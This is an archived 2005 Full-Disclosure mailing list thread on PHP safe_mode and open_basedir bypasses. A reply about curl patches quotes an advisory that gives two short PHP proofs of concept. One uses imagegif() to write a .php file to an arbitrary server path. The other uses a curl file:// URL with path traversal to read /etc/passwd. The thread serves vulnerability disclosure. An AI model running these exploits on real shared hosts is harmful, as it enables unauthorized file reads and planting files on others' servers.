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Message-ID: <004301c5d42b$49ff5680$1746370a@nsp.local>
Date: Tue Oct 18 22:31:03 2005
From: venom at gen-x.co.nz (VeNoMouS)
Subject: PHP Safedir Restriction Bypass Vulnerabilities
In reguads to the the curl, I have just checked all the php curl code this was fixed in 4.3.10 from what i can see, because i wrote a patch to stop the openbase dir in curl until php fixed it, i submited it along time ago but the php dev's were all "blah blah blah 3rd party software blah blah not our problem"
im not sure if theres a patch for the imagegif() as i havent seen that one before.
----- Original Message -----
From: peter MC tachatte
To: full-disclosure@...ts.grok.org.uk
Sent: Tuesday, October 18, 2005 9:55 AM
Subject: [Full-disclosure] PHP Safedir Restriction Bypass Vulnerabilities
There is a vulnerability (Safedir Restriction Bypass) identified within the GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()
in /ext/gd/gd.c line 1647
Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:
with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>
curl openbasedir and safemode bypass.
POC:
<?php
mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd ");
$file=curl_exec($ch);
echo $file;
?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.
This is fixed in the cvs.
slythers@...il.com
greets: david coallier <davidc@....net>
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